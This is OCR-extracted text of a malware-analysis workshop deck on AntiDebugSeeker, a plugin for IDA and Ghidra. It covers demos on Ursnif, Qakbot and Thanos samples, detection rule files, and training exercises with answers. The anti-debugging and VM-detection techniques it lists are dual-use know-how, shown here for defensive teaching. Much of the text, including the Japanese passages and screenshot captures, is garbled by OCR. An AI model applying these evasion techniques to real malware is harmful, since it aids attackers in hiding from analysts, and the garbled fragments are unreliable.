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Request for Today's Workshop
REIRVIDOFEB LML, IRNTIYILDIT 7T,

e CIERY 34D0DIREINT, RiTlE. BIVMERIE (MEBICREZRIFETHRNELSIC
BERSNERZERBRIE) TITO>TSESL,

An—. RAMITERITUTULFEOTE, BEF—IBXFEA
HEeSJETEMWLWWZUET,
Tz, INTDHIIWBVNTREDA> A B> RIRY DRICHIFRNTLSIEELY,

All samples used in the exercises, except for the first exercise, are malware.

Please make sure to run all four samples used in the exercises in a VM
environment (a safe environment constructed not to affect the outside). We
cannot take any responsibility if you accidentally run it on the host side.

Please proceed at your own risKk.
Do not upload any of the samples to online sandboxes such as Virus Total.
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Ti meta ble Pla nl > The schedule is subject to change.

Time LEVEL&TITLE

10:00-10:15 Introduction
Confirm the description of AntiDebugSeeker and how to use it with IDA and Ghidra

10:15-10:45 Levell. Analysis of a program with multiple anti-debugging features
(Exercise Time)

11:10-11:40 Level2. Analysis of a program with multiple anti-debugging features
(Exercise Time)

13:20—-14:00 Level3. Analysis of a program with multiple anti-debugging features
(Exercise Time)

14:30—-15:00 Level4. Malware Analysis Tips + Anti Debug
(Exercise Time)




Ti meta ble Pla n2 > The schedule is subject to change.

Time LEVEL&TITLE

10:00-10:15 Introduction
Confirm the description of AntiDebugSeeker and how to use it with IDA and Ghidra

10:15-10:45 Levell. Analysis of a program with multiple anti-debugging features
(Exercise Time)

11:10-11:40 Level2. Analysis of a program with multiple anti-debugging features
(Exercise Time)

13:20—-14:40  Level3. Analysis of a program with multiple anti-debugging features
(Exercise Time)

14:00—14:40  Optional Exercise : Level4. Malware Analysis Tips + Anti Debug
(Exercise Time)




Confirm the description of AntiDebugSeeker and
how to use it with IDA and Ghidra



What is AntiDebugSeeker

This is a program for automatically identify and extract potential anti-

debugging techniques used by malware and displaying them in /
Ghidra.

The main functionalities of this plugin are as follows:

1.Extraction of APIs that are potentially being used for anti-debugging
by the malware.

2.Using multiple keywords, anti-debugging techniques are extracted.

X For packed samples, running this plugin after unpacking and fixing
the Import Address Table is more effective.

© 2025 LAC Co., Ltd.



The motivation behind developing this tool

Malware Analysis Flow

!

IDA_AntiDebugSeeker-v1.1 =)

takatake-code released this Jan 24 . 36 commits to main since this release

Ghidra_AntiDebugSeeker-Verl.1 (=)

takatake-code released this last week © v -0~ eeecdBl @
© 2025 LAC Co., Ltd.



Demo: IDA version of AntiDebugSeeker



DEMO [AC

Malware : Ursnif

MD5 : 4dal11c829f8fealb690f317837af8387 (Packed)
MD5 : 952d604345e051fce76729ccb63bde82 (Unpack)

The flow of a demo

@A type of anti-analysis leads to the termination of the process.
@Using AntiDebugSeeker to find anti-analysis features.

®Apply patches using a debugger.



Hacker e sers  Helf

%5 Refresh 3 Options | @ Find handles or DLLs 4% System information

ygwing

Processes Services Network Disk

s X

Name
(3] svchost.exe
(37 svchost.exe
(%] svchost.exe
svchost.exe

W
(¥ svchost.exe
e

svchost.exe
f= spoolsv.exe
[¥] svchost.exe
(¥ svchost.exe
& vmtoolsd.exe
(¥ vm3dservice.exe
[ ym3dservice....

(¥ VGAuthService....
(& dllhost.exe
¢ msdtc.exe
(¥ svchost.exe
¢4 Searchindexere...
(¥ svchost.exe
(¥ svchost.exe
(¥ svchost.exe

[ Isass.exe

(57 csrss.exe
v = lwinlogon.exe
[ dwm.exe
v r explorerexe

[ MSASCuiL.exe

(& vmtoolsd.exe

@ OneDrive.exe

‘® ProcessHacker.exe

) sakura.exe

PID
80
272
684
1160
1332
1388
1508
1864
1892
1900
1908
2084
1920
2372
2652
512
348
1364
3032
6560
624
492
564
884
3292
1680
124
6288
1468
7016

CPU I/Otot.. Private..
8.97 MB
0.18 216k.. 1344
88B/s 1252..
0.02 568B/s 6.36 MB
232 MB
1.88 MB
54 MB
9.19 MB
6.26 MB
009 965B/s 6.67 MB
14 MB
1.52 MB
2.65 MB
3.77 MB
246 MB
1.74 MB
28.05 ..
6.43 MB
1.59 MB
1.53 MB
467 MB
191 MB
3.65 MB
111.38..
302.07..
2.81 MB
684 B/s 20.14 ..
16.94 ..
17.59 ..
3.89 MB

User name
.¥LOCAL SERVICE
¥LOCAL SERVICE
NT AUT.¥SYSTEM
.¥NETWORK SER\
.¥LOCAL SERVICE
.¥LOCAL SERVICE
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
~¥NETWORK SER\
.¥LOCAL SERVICE
NT AUT.¥SYSTEM
DESKTO..¥Win10
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
NT AUT.¥SYSTEM
Windo..¥DWM-1
DESKTO..¥Win10
DESKTO..¥Win10
DESKTO..¥Win10
DESKTO..¥Win10
DESKTO..¥Win10
DESKTO..¥Win10

Description

Windows Y—-EADHKA..
Windows Y—EADKA...
Windows Y -EADRA...
Windows Y —EADRA...
Windows Y—FADiKA..
Windows Y-EADKA...
AT-5- B TIATLT ..
Windows Y-FADKA...
Windows Y —EADKA...
VMware Tools Core Se...
VMware SVGA Helper ...
VMware SVGA Helper ...
VMware Guest Authen...

COM Surrogate
Microsoft &NV ..

Windows T—FADRA...
Microsoft Windows Se...
Windows Y—EADHKA...
Windows Y-EADKA...
Windows Y—EADKA...
Local Security Authorit...
ITATIE B=I\=V5..
Windows 094 77)..
TATRYT D4IED K.

19270-5-

Windows Defender no...
VMware Tools Core Se...

Microsoft OneDrive
Process Hacker
YI31745

CPU Usage: 4.36% Physical memory: 1.28 GB (31.98%) Processes: 32
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The Analysis result of IDA-AntiDebugSeeker

Detected Function List E) Wi Dehugz Detection Res.

|Search...

sub_401000 \

SetupDiEnumDevicelnfo
SetupDiGetClassDevsh
SetupDiGetDeviceRegistryPropertyA
SetupDiGetDeviceRegistryPropertyA
SetupDiGetDeviceRegistryPropertys
\ {Sdetected)

sub_401395

It was determined that the function

sub_401000 has
anti-debugging features.

GetCursorinfo
CloseHandle
CloseHandle
CloseHandle

(7detected)

© 2025 LAC Co., Ltd.

Detected Function List ™t Debug Detection Fest @ [@

Hex ‘igw—1

ﬁ".a‘rﬂnnn.r Mame Possihle Anti-Dehua API
Arnalysis Environment Check SetupliGetClassDevs A

Analysis Environment Check SetupDiEnumDevicelnfo
Analysis Environment Check setupliGetDevice RegistiryPr -
Analysis Environment Check SetupDiGetDeviceRegistrFr -

Analysis Environment Check SetupDiGetDeviceRegistn/r--
e Ta S oee  caren Loeerande

Check Inhvalid Close—>Exception CloseHandle
Check lhvalid Close—>Exception CloseHandle
User Interaction Check GetCursorlnfo

Check Invalid Close—>Exception CloseHandle
Time Check Sleep

Check Invalid Close—>Exception CloseHandle
Check Invalid Close—>Exception CloseHandle
Time Check Sleep

Memory Manipulation WirtualProte ctBx

Memory Manipulation YirtualProtectEx

Memory Manipulation YirtualProtectbx
'Y DR DU USRI L Do SURDR V E D T o ) (S N [ |

— e i T )

Thread .Execute

ResumeThread
[ 1me heck " traroinglellbect
Thread Manipulation - -ad
Thread Execute
Time Check

Thread Manipulatior
Thread Execute

Check Ihvalid Close
Check Invalid Close

J=A01022
501 043
(401062
401 068
Dx401092
Deed01 410
Jxd01419
00141 B
D:A0161 B

O 707
0401 84F
0x401 850
Ox401240
Ox401948
Ox40120C7

O0x401200
0401 A1
O0x401 ESS
0x402170
O0x40217E
0402191
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omment Function

eax, large fs:3@h ; MNtGlobalFlag check - The code is checking the NtGlobalFlag walue at offset 8x68 from the Process Environment Block.
; The value 78 is the sum of FLG_HEAP ENABLE TAIL CHECK (©x18), FLG_HEAP ENABLE FREE_CHECK (@x2@), and FLG_HEAP VALIDATE PARAMETERS (@x4@).
esp, 438h
byte ptr [eax+68h], 7eh
esi
edi
short loc 4BFFE2

— —
LA L e WIS L K] LI ) B I I e s L el WRLAEY ) L

loc_402D52 T o
edi ; hTemplateFile

806h ; dwFlagsAndAttributes

3 ; dwCreationDisposition

edi ; lpSecurityAttributes

1 ; dwShareMode

80000000h ; dwDesiredAccess | Opened Exclusively Check - CreateFile is attempting to exclusively lpEH'!!E'UHH'E!EEU!HU!E'F!!E

; IT it fails to do so, it deduces that a debugger may already have it open exclusivelyl If the dwShareMode argument of CreateFile is @, this is highly likely.
ebx, OFFFFFFFFh
eax ; 1pFileName
[ebp+CreationTime.dwlLowDateTime], ebx
[ebp+CreationTime.dwHighDateTime], ebx

ds:CreateFileA
[ebp+hObject], eax

.text:0040218E push dword ptr [edi+4] ; hThread

ebp

ebp, esp

ecx

eax, large fs:38h ; BeingDebugged check - The BeingDebugged field in the Process Environment Block (PEB) indicates whether the current process is being debugged or not.
cax, bytc ptr [caxiZ]

eax, eax

byte ptr [ebpt+var_4]

[ebptvar_4], @

short loc_48182E




Extra Function - Edit Config File -

File Edit Lumina

tH €-o-~

.
»

Jump Search View Debugger

HLhdh S 3 @A

Options

ryje )

Windows Help

o o @F ¥~ @ X > @ O Nodebugeer

Library function Il Regular function Il Instruction Data Unexplored External symbol I Lumina function

7 Functions o e x| @ IDA View-4 B @

v/ % @R

Detected Function List

¥ Anti Debue Detection Results Hex View-1

Structures

nction name 2

ub40112E
sub 401143
f1sub 401158
7] sub 401240
7] sub 40132C
7l sub 401395
sub 40144C
] sub 4014687
| sub 401571
f1sub 4019C0
sub 401A1B
sub_ 401 AFE
sub 401BAB

Line 2 of 102

fl Graph overview

for pattern NtQuerySystemInformation_KD_Check.

for pattern Extract_Resource_Section.

for pattern Commucate_function_String.

for pattern Commucate_function.
AntiDebugSeeker terminated.

Edit anti_debug.config : Switch Other tab and Press Ctrl+Shift+E.
Checking the recursive calls : sub 401000

|

. B

(=

.text:00401706
.text:00401706 loc_401706:
.text:00401706 push esi
.text:00401707 call

ds:CloseHandle ; Check Invalid Close->Exception

3 hObject

J
vy

ol s =

.text:0040170D

.text:0040170D loc_40170D:

.text:0040170D cmp
.text:00401711 jz

[esp+78h+1pszShortPath], ebx|
short loc_401724

=

|. text:00401713 call
.text:00401718 cmp
.text:0040171A jz

sub_401000
eax, ebx
short loc_401724

420,288) 00000B13 00401713: sub_401571+1A2 (Synchronized with Hex View-1)

e =

.text:00401724

.text:00401724 loc_401724:
.text:00401724 call sub_40144C
.text:00401729 mov ecx, dword_407664
.text:0040172F xor ecx, eax
.text:00401731 push ecx 3 ResultlLength
.text:00401732 mov dword_4075D4, eax
.text:00401737 call sub_402A98
.text:0040173C mov dword_407628, eax
.text:00401741 cmp eax, ebx
.text:00401743 jnz short loc_40175D

!
A J




Introduction to configuration files



Files Required to Run the Program

C:¥Program Files¥IDA Pro 8.3¥plugins
s
~ B EHOE 23 PR
bochs 2023/09/07 29 Jrdll I#)A-
hexrays_sdk 2023/00/07 G249 74 TAS-
Iconengines 2023/08/07 29 T F#AS—
imageformats 2023/00/07 G249 74 TAS-
L platforms 2023/08/07 29 T F#AS—
printsupport 2023/00/07 G249 74 TAS-
sqldrivers 2023/08/07 29 T F#AS—
styles 2023/00/07 %29 T T#)A-
anti_debug.config 2023/09/07 @22 COMNFIG Jr4 KB
m anti_debug_techniques_descriptions.json 2023/08/29 13:46 JSON T7A )l KE
E. AntiDebugSeekerpy 2023/09/06 14:48 Python File KB
|%] arm_mac_stubbd.dll 02306700 (50 T -3 HiE 177 KB
|%] armlinux_stub.dll 2023/06/09 (:50 T -2y 3 e 20 KB
|%) armlinux_stub64.dl| 2023706700 (r50 T =339k E 0KB

Please place the following three files under the plugin directory of IDA :

1.anti_debug.config (A file containing rules for detecting anti-debugging techniques)
2.anti_debug_techniques_descriptions.json (A file containing descriptions of the detected rules)
3.AntiDebugSeeker.py (The anti-debugging detection program)

© 2025 LAC Co., Ltd. 17



anti_debug.config

Anti_Debug_API

###ANti_Debug APT###

[CommandLine check]

GetCommandLineA

GetCommandLinel

[Debugger check]

CheckRemoteDebuggerPresent
DebugActiveProcess
DebugBreak
DbgSetDebugFilterState
DbgUiDebugActiveProcess
IsDebuggerPresent
NtDebugActiveProcess
NtQueryObject
NtSetDebugFilterState
NtSystemDebugControl
OutputDebugStringA
OutputDebugStringh

© 2025 LAC Co., Ltd.

In the Anti_Debug_API section, you can freely create

categories and add any number of APIs you want to detect.

(exact match)

###ANti_Debug APIH##
[Category Name_1]
API1

API2

API3

[Category Name_2]
APl4
API5
API6

18



anti_debug.config

Anti_Debug_Technique You can set up to three keywords (partial match) under a

###Anti_Debug_Techniquei## Sl n g | e ru Ie n a m e .

default_search_range=806

[VMware_1/0_port] #H##ANnti_Debug_Technique###

5658h

default_search range=80

[VMware_magic_value]

564D5868h
[HeapTailMarker] [RUIG].]
ABABABAB ABC
[KernelDebuggerMarker] DEF
7FrEezba GHI Search Target:
[DbgBreakPoint_RET] Disassembly (Opcode, Operand)
DbgBreakPoint Sed rCh_ra nge= 200 Comments
C3h
APl based on Import Table

[DbgUiRemoteBreakin_Debugger Terminate]
DbgUiRemoteBreakin

TerminateProcess

© 2025 LAC Co., Ltd. 19



anti_debug_techniques_descriptions.json

O o N o v B W N

NN R R R R R R R R B R
P ® W 0 N O VR W N R e

"VMware_I/0_port" "detect a VM environment based on the VMware I/0 port",

"VMware_magic_value" "detect a VM environment based on the VMware magic valy
"HeapTailMarker": "Malware can detect if it's on a debug heap by checking the
"KernelDebuggerMarker": "Detect Kernelmode Debugger(KdDebuggerEnabled)",

"DbgBreakPoint RET": "This detection may be due to the first byte of the DbgBi
"DbgUiRemoteBreakin_Debugger_Terminate™: "When a debugger tries to attach to 2
"PMCCheck_RDPMC": "The RDPMC (Read Performance-Monitoring Counters) the value
"TimingCheck_RDTSC": "The RDTSC (Read Time Stamp Counter) instruction can be |
"Environment_TimingCheck_CPUID": "The CPUID instruction can be used as part o
"SkipPrefixes_INT1":"This anti-debugging method exploits how some debuggers ha
"INT2D_interrupt_check™: "The INT2D instruction either passes control to a del
"INT3_interrupt_check™: "This is a debug detection mechanism using the INT 3 1
"EXCEPTION_BREAKPOINT": "This is a debug detection method using the INT 3 inst
"ICE_interrupt_check": "If a program is debugged, the debugger sees the except
"DBG_PRINTEXCEPTION_C": "This may involve anti-debugging by utilizing the DBG
"TrapFlag_SingleStepException”: "This anti-debugging technique utilizes the Ti
"BeingDebugged check"” : "The BeingDebugged field in the Process Environment B]
"NtGlobalFlag_check™: "The code is checking the NtGlobalFlag value at offset ¢
"NtGlobalFlag_check_2": "The code is checking the NtGlobalFlag value at offset

"HeapFlags" "HeapFlags stores various heap-related flags, bit by bit. \nThes

Anti_Debug_Technique

###Anti_Debug_Techniqueit#

default_search_range=806

l[VMware_I/O_port]
h

[VMware_magic_value]
564D5868h

[HeapTailMarker]
ABABABAB

[KernelDebuggerMarker]
7FFEB2D4

[DbgBreakPoint_ RET]
DbgBreakPoint
C3h

[DbgUiRemoteBreakin_Debugger_Terminate]
DbgUiRemoteBreakin
TerminateProcess

ABABABAB, 1

C3, which co
inates.",

MC) to deten
utilized in
volves check
ion prefixes|
alue if no d
if the progn
e program is
p bit in the
triggered by
ecimal 100)
process is b
nThe value
t Block. \nT|

in features

© 2025 LAC Co., Ltd.
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List of detectable anti-debugging techniques (Ver1.0)

HeapTailMarke
KernelDebugg
DbgBreakPoin
DbgUiRemotel
PMCCheck RLC
TimingCheck_
SkipPrefixes_1I
INT2D_interrc
INT3_interrup
EXCEPTION_E
ICE_interrupt_
DBG_PRINTEX
TrapFlag_Sing
BeingDebugge
NtGlobalFlag_.
NtGlobalFlag_
HeapFlags

HeapForceFlac
Combination_

Combination_ot_HEAP_Flags_2

The following Anti Dehiia Technialiers can he detected 11sina AntiDehi1aSeerker

I
[

ort

ags
bjectHandle
Check

© 2025 LAC Co., Ltd.
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Demo:
Ghidra version of AntiDebugSeeker



DEMO [AC

Malware : Qakbot (aka. Qbot)

CIMDS5 : bce0df8721504d50f4497c0a0a2c090d (Packed)
CIMDS5 : 58el1c32eeb0130dal19625e55ee48cfle (Unpack)

The flow of a demo
(DA type of anti-analysis leads to the termination of the process.
@Using AntiDebugSeeker to find anti-analysis features.

(®Examine the behavior of AntiDebug, and identify the areas to patch from the
AntiDebugSeeker results + Apply the patch using a debugger.



procexpbd - &3-
b

antidebug_malw... x32dbg - ¥3-hj)
vk

12
AntiDebugSeeke... x64dbg - ¥3—1)

bl o

» gbot_demo

#* 7499 TR —
M 7278y7 .

¥ F9vo-F

=) F¥axvk

E77%
AntiDebugSeeker_F

qakbot.exe

ida_plugin_AntiDeb
ida_plugin_AntiDeb

g g ’4 __]\ j‘ “@ mﬁw [ ;[ ‘ .ﬁ\tlnil\ 4 ver

Process
Tsvchost.exe
Esvchost.exe
wWymtoolsd.exe

ENVGAuthServi...
S[Eym3dservice....
Eym3dservic...

qbot_demo

>

®Esvchost.exe
Edllhost.exe
®Esvchost.exe
s msdtc.exe
Tsvchostexe
Wsedsvec.exe
[Elsass.exe
Ecsrss.exe
= lwinlogon.exe
Fdwmexe
Efontdrvhost exe
= m explorerexe
HMSASCuilL.exe
wWymtoolsd.exe
¥ procexpb4.exe
flsakura.exe
@neDrive exe
= @eclipse.exe
2 java.exe
2ijavaw.exe
B Microsoft.Share...

Eclipse IDE for
Java Developer...

ghidraRun

ghidraRun-gitcl..

CPU

013

<001
<00
052

029
182

017
2317

<00
065
0.16
020
0.02

Private Bytes
1,584 K
9616 K
7,744 K
2,720 K
1,508 K
1,596 K
7816 K
3,744 K
6,644 K
2,508 K
2,020 K
4520 K
5732 K
2,000 K
2126 K

287,404 K
756 K
655,660 K
2936 K
31432 K
30,220 K
3.440 K
20,904 K
1,820,652 K
642,760 K
1,305,008 K
14,004 K

Working Set
1,560 K
12,400 K
8,300 K
552 K
1,220 K
1,204 K
13.280 K
2,632 K
5,868 K
548 K
2412 K
7.428 K
6.272 K
65,996 K
1,820 K
124,716 K
144 K
90,164 K
972 K
24,100 K
57.232 K
728 K
19176 K
92,984 K
246,552 K
67.252 K
28,332 K

PIC
193 @ OneDrive
199] marec
119
1 22 @ *yrI-2
147
227
200!
263
287
322
220
3861 1an=s

600Cocal Security
464 DA P -

532 Windows 047

832 TAHMYT 1.
4820 Usermode Fon..

1A TE AT =5
4992 Windows Defe...

5028 ViMware Tools ...
6108 Sysinternals Pr...

4544 BHSI5 13

5464 Microsoft One...

6964

1428 OpendDK Platf...
748 OpendDK Platf ..
7488 Microsoft Shar...

Microsoft Cor..
Microsoft Cor...
Microsoft Cor..
Microsoft Cor...
Microsoft Cor...
Microsoft Cor...
Microsoft Cor...
ViMware, Inc.
Sysinternals ..
Project: Saku...
Microsoft Cor...

Eclipse Adopti...
Eclipse Adopti...
Microsoft Cor...

CPU Usage: 11.22% Commit Charge: 78.52% Processes: 62 Physical Usage: 59.17%

desktop.ini




abg

procexpbd - 3=
Mvh

antidebug_malw...

Ghidra: Demo

—

Project Tools

AntiDebugSeeke...

qbot_demo

(=

Eclipse IDE for
Java Developer...

N |

Filter [— .
Tres View | Teble Voewl

F Running Tools

ghidraRun

i'\h'c-vl space

I =
F [Fri Jun 07 16:37:25 JST 2024 Recovery snapshot created C:¥Users¥kaihatu¥Demo rep¥idata¥00¥"00000000 db¥snapshotAgrf

ghidraRun-gitcl...

89515715

desktop.ini

desktop.ini




CodeBrowser: Dem

fqakbo

File Edit Analysis Graph Mavigation Search Select Tools Window Help

H e =»- BPBEEBEBBE @I DULFVE-

4% v-o- [ /JEIEOBGL0BSEE- |

id & (%

IR N IERE

00401al 50

|

&= b’ qakbot_0239000( i

Headers
text

# AntiDebugSeekerPlugin [CodeBrowsen Dema:/qakbot.exe]
Edit Help

Start Anaheze

Dizplay only the detection results Detected Function List

Program Tree X |

B il Imports
@) Exports

# [ Functions
B Labels

@ CID Classes

- 3} Namespaces

e TUpDIETC IS SDEVSE  UUEUIOTD
FUN_0040352c
SecupDiGetDeviceRegistryPropercyh : 00403555
FUN_0040884d
GetLocalTime : 0040887b
FUN_00409c99
GetSystemTime : 0040%cad
FUN_00409881
SleepFx : 0040997d
FUN_004012£7
WaictFor5ingleGbject : 00401347
FUN_004066k2
CreateThread : 0040&66c4
FUN_0040482a
GetThreadContext : 00404883

FUN_00404671

ResumeThread : 00404772
FUN_0040385e

CloseHandle : 00403aéa
FUN_004033fc

VMware_I/0_port 0x5658 : 00403439

VMware_magic_wvalue 0x564d5868 : 0040343d

VMware _magic_wvalue Ox564d5868 : 00403472
FUN_00403492

VMware_I/0_port 0x5658 : 00403442

VMware_magic_value 0x564d5868 : 004034dé

G duRo |0 | i v X

= same addreas ¥/

FUN_0040330a Ll
Environment_TimingCheck_CFUID CPUID : 00403319

FUN_0040336e @ % = ]§| x |
Environment_TimingCheck CFUID CPUID : 004033ac Sode Ukt |

FUN_00404ded —
CreateMutex_AlreadyExist : 00404edé :ﬁitd prr [-SHERNEL32.DLL::...

Inkncun fuscrion ) dword ptr [->KERNEL32.DLL::...
CreateMutex_AlreadyExist : 0040b178 dword prr [->KERNEL32.DLL::...

— CreateMutex_AlreadyExist : 0040bl78 dword ptr [->HERNEL32.DLL:

& @ BuilthTipes dword ptr [->KERNEL3Z.DLL:

®- I ©qakbot_02300000 dword ptr [->KERNEL32.DLLi:...

ol s windows vs12_32 TS TR TOET O T T =T E T TS TS C T O TS T A TG TG =TI, dword ptr [->KERMEL32.DLL:z:...
Analysis Potential of Anti Debug APT fnalysis Environment Check : GetExitCodeProc..  00404f36 dword ptr [->KERMEL32.DLL:i:«..
fnalysis Potential of fnti Debug APT fnalysiz Environment Check @ GetSysteminfo 0405862 dword ptr [->KERMEL32.DLL::...
fnalysis Potential of finti Debueg APT finalysis Environment Check : Setup DiEnumDevi.. 004036ba dword ptr [-»SETUPAPI.DLL::...
Analysis Patential of Anti Debug APT Analysis Environment Check : Setup DiGetClass.. 0040367 dword ptr [->SETUPAPI.DLL:
fnalysis Patential of Anti Debug APT fnalysis Environment Check : Setup DiGetDevic.. 00403555 dword ptr [->SETUPFAPI.DLL:

Analysis Patential of &nti Debueg APT Time Check : GetlocalTime 00408370 dword ptr [->KERMEL32.DLL:

fnalysis Potential of fnti Debue A4PT Time Check : GetlocalTime 0409123 dword ptr [->KERMEL32.DLL:

Analysis Potential of Anti Debueg APT Time Check : GetlocalTime 0040492 12 dword ptr [->KERMEL32.DLL:

fnalysis Patential of Anti Debue APT Time Check : GetSystemTime 0040%ca4 dword ptr [->KERMEL32.DLL:

Analyzis Potential of Anti Debueg APT Time Check : GetSyetemTime 0040%8dc3 dword ptr [->KERMEL32.DLL::

fnalyziz Potential of Anti Debue APL Time Check : GetTickCount 00405604 dword ptr [->KERMEL32.DLL::...

Analysis Patential of Anti Debug API Time Check : SleepEx 00404997d dword ptr [->KERMEL32.DLL::... .LI

Filter: | B =-
|F”‘e‘” I £) | = Gonscle % | ' Bockmarks %

PLISH EBP




FU 00403c14 ££ 15 80 CATT, dword ptr [->*EERNEL3Z.DLL::GetCurrentProcessId
b0 40 00 S

- . (call dword ptr ds:[<&GetCurrentProcessId>]
U 00403cla 50 EUSH ELX push eax

00403clb Ga 08 PUSH 0x8 push 8
FUN 0203c14 ££ 15 88 CALL dword ptr [DAT 00410788 | (€all dword ptr ds:[<&CreateToolhelp32Snapshot>]
FU D? 41 DD L 1 ke = [ A=
FUN_403bdf No Detected
FUN_403d22 No Detected
FUN_40336e Detected ( Environment_TimingCheck )

=7

i = FUN_004033fc(pCVar3,extraout_EDX) ;
FUN_0040349%a (extraout_ECX_00, (int) ((ulonglong)uVard >> 0x20));
FUN_004035b&();
FUN_0040385e();
FOUN_00403bdf () ;

FUN_00403d22()

Only Return

FUN_004033¢e();

™~

Anti Debug Codes

LAE 00403cl4

¥XREF[1]: 00403c10(7)

o/ Ve o W U LU
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Introduction to Files related to the
Ghidra version



Files Required to Run the Program

® Ghidra Script
AntiDebugSeeker.java

® Ghidra Extension
Ghidra_11.0.1_PUBLIC_AntiDebugSeeker.zip

O Configuration Files
anti_debug_Ghidra.config
anti_debug_techniques_descriptions_Ghidra.json

© 2025 LAC Co., Ltd.
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AntiDebugSeeker VS .Net Base Malware

Malware : Thanos Ransomware
MD5 : e0lelldca5e8b08fc8231blcb6e2048c

DA Wiew-#A ¥ Anti Debug Detection Results Detected Function List [

.namespace MufMaOSvGyvz
Search... {

.class private auto ansi beforefieldinit ghEykQIAJr extends [mscorlib]System.Object

MufMaOSvGyvz.lyUWgQZIcOSTLhq |{

.method public static hidebysig void aiPgAgDxThSDE()
// CODE XREF: MufMa0SvGyvz.IyUWgQZlcOSTLhg__ Main+28Ctp

(1detected) { . Anti Debug

mawstack

MufMaOSvGyvz.ghEykQIAJr v f(call bool MufMa0SVGyvz.ghEykQIAIr: :kNIZaDsXbYmUO()

) | Prirue.s loc_3806
call bool MufMa0SvGyvz.ghEykQIAIr: :CmOCZIRFKEYgY ()

brtrue.s loc_ 3806

call bool MufMa0SvGyvz.ghEykQIAIr: :ITHbNNuWEzvey ()
brtrue.s loc_ 3806
call bool MufMa0SvGyvz.ghEykQIAIr: :KQTbTNGxpeggl()
brtrue.s loc_ 3806

(4detected) \ call bool MufMa0SVGyvz.ghEykQIATr: :GHkUrUGhErRTAQ()
100 .14,
ceq
br.s loc_3887

© 2025 LAC Co., Ltd.




AntiDebugSeeker VS .Net Base Malware

FIZI=
.method private static hidebysig bool ITHbNNulWEzvcy()
{
.maxstack 2
.locals init (native int VO,
bool V1)
nop
gty {
ldstr aSbiedl1D11 [/ Anti-Sandbox_ SandBoxie - It is checking whether the analysis is being performed in a SandBoxie sandbox.
call native int MufMaOSvGyvz.ghEykQIAlr: :GetModuleHandle(string string @)
stloc.@
ldloca.s @
call instance int32 [mscorlib]System.IntPtr::ToInt32()
ldc.i4.0
ceq
brtrue.s loc 39AC
FIZIE
.method public static hidebysig bool LEYLEJpRFfEgTMCc()
{

-maxstack 1
.locals init (class [System]System.Net.lWebRequest V@,

bool V1)
ldstr aHttpsWwwGoogle // Commucate function_String - Indicating potential communication features, possibly for connecting to a C2 server or detecting analysis environments.
call class [System]System.Net.WebRequest [System]System.Net.lWebRequest::Create(string)

© 2025 LAC Co., Ltd. 32



AntiDebugSeeker VS .Net Base Malware

il e 5

ldloc.3

ldstr aModel // "Model"

callvirt instance object [System.Management]System.Management.ManagementBaseObject: :get Item(string)
callvirt instance string [mscorlib]System.Object::ToString()

callvirt instance string [mscorlib]System.String::ToUpperInvariant()

ldstr aVirtual [/ VM _Check - It is possible that the analysis environment is detecting whether it is running on
callvirt instance bool [mscorlib]System.String::Contains(string)
brtrue.s loc_ 3917

' vy
il e 5
loc_38EA:
ldloc.s 4
ldstr aVmware // VMware Check - It is possible that the analysis environment is detecting whether it is running on VMware.
callvirt instance bool [mscorlib]System.String::Contains(string)
brtrue.s loc_ 3917

Yy

s = [l s =
ldloc.3
ldstr aModel // "Model™ loc_3917:
callvirt instance object [System.Management]System.Management.ManagementBaseObject::get Item(string) ldc.i4.@
callvirt instance string [mscorlib]System.Object::ToString()
ldstr aVirtualbox /f VBox Check - It is possible that the analysis environment is detecting whether it is running on VirtualBox.
call bool [mscorlib]System.String::op Equality(string, string)
ldc.i4.@
req
br.s loc_3918

1
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Exercise 1

Levell.
Analysis of a program with multiple anti-debugging
features



Exercise 1

Target Malware : Custom_AntiDebug.exe

Question.

« Check the anti-analysis features implemented in this program.
« Verify the messages displayed for each anti-analysis feature.
Optional Question.

« The message is obfuscated with XOR,

Please investigate the decryption key.

Point 1: Use the IDA/Ghidra plugin AntiDebugSeeker to identify
anti-analysis features.

Point 2: Analyze the program using both static analysis tools (IDA/Ghidra) and

dynamic analysis tools (debuggers).
© 2025 LAC Co., Ltd.
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Exercise 1 Answer For IDA

® Use AntiDebugSeeker to confirm the anti-analysis features.

DA View-A

Category Name

Debugger check
Process Check

Process Check
Process Check
Process Check
Check Invalid Close—>Exception

Check Invalid Close—>Exception

Exception Handling Check
Exception Handling Check
Time Check

Debugger check
Exception Handling Check
Exception Handling Check
Exception Handling Check

li2| Detected Function List

Possible Anti-Debug API

IsDebuggerPresent
CreateToolhelp32Snapshot

Process32FirstW
Process32NextW
Process32NextW
CloseHandle

CloseHandle

SetUnhandledExceptionFilter
UnhandledExceptionFilter
QueryPerformanceCounter
IsDebuggerPresent
SetUnhandledExceptionFilter
UnhandledExceptionFilter
SetUnhandledExceptionFilter

¥ Anti Debug Detection Results 5]

| Hex Wiew-1

Address

0x4018DF
0x40190C

0x40192B
0x40193B
0x401973
0x40197A

0x4019AE

0x401C9F
0x401CA8
0x402044
0x4021FE
0x40221E
0x402228
0x4022BF

[] Local Tvpes Imports
Possible Anti-Debug Technique

VMware_magic_value

VMware_1/0 port

Enumerate_Running Processes
Enumerate_Running Processes

NtGlobalFlag check

NtSetInformationThread
ThreadHideFromDebugger Ox11

Environment_TimingCheck_CPUID

Environment_TimingCheck_CPUID
Environment_TimingCheck_CPUID

Address

0x401041
0x40104b

0x40190c
0x40190c

0x40198a

0x4019cd
0x4019cd

0x4023f8
0x402433
0x4024aa

Exports




Exercise 1 Answer For IDA

® Use AntiDebugSeeker to confirm the anti-analysis features.

=] IDA View-8 E Detected Function List O fnti Debug Detection Results [ @ H

Category Name Possible Anti-Debug API Address

0x4018DF

IsDebuggerPresent

Debugger check

Process Check reate | oolnelp napshot 0x40190C
Process Check Process32FirstW 0x40192B
Process Check Process32NextW 0x40193B
Process Check Process32NextW 0x401973

Check Invalid Close—>Exception CloseHandle Ox40197A

Check Invalid Close—>Exception CloseHandle

Exce i - i 0x401C9F
s Are there six anti-debugging I
Time featu res? 0x402044
Deb 0x4021FE
Except® T SO T ero 0x40221E
Exception Handling Check UnhandledExceptionFilter 0x402228
Exception Handling Check SetUnhandledExceptionFilter 0x4022BF

